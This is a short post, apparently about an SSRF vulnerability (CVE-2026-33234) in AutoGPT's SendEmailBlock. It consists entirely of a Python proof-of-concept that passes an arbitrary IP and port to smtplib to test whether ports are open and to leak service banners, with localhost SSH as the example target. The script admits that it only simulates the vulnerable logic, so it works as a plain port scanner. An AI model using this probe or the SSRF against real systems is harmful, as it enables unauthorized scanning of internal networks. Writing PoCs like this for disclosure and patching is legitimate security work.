CVE-2026-33234 AutoGPT SendEmailBlock SSRF漏洞致内网扫描

# PoC for CVE-2026-33234 # This script demonstrates the vulnerable behavior of passing arbitrary IPs to smtplib. import smtplib def exploit_ssrf(target_ip, target_port): try: # Simulating the vulnerable SendEmailBlock logic print(f"[*] Connecting to {target_ip}:{target_port}...") # The vulnerable code calls smtplib.SMTP(user_input_server, user_input_port) conn = smtplib.SMTP(target_ip, target_port, timeout=3) print(f"[+] Port {target_port} is open on {target_ip}") conn.quit() except smtplib.SMTPConnectError as e: # The exception often contains the server banner, revealing service info banner = str(e) print(f"[-] Connection failed: {banner}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Example: Scanning localhost port 22 (SSH) exploit_ssrf("127.0.0.1", 22)